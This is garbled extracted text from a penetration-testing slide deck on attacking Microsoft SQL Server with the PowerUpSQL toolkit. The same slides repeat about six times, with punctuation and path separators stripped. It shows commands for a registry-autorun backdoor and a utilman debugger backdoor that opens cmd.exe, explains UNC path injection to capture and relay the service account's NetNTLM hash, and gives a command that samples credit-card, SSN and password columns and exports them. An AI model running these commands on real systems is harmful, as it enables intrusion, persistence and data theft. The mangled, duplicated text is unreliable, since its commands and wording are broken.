Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
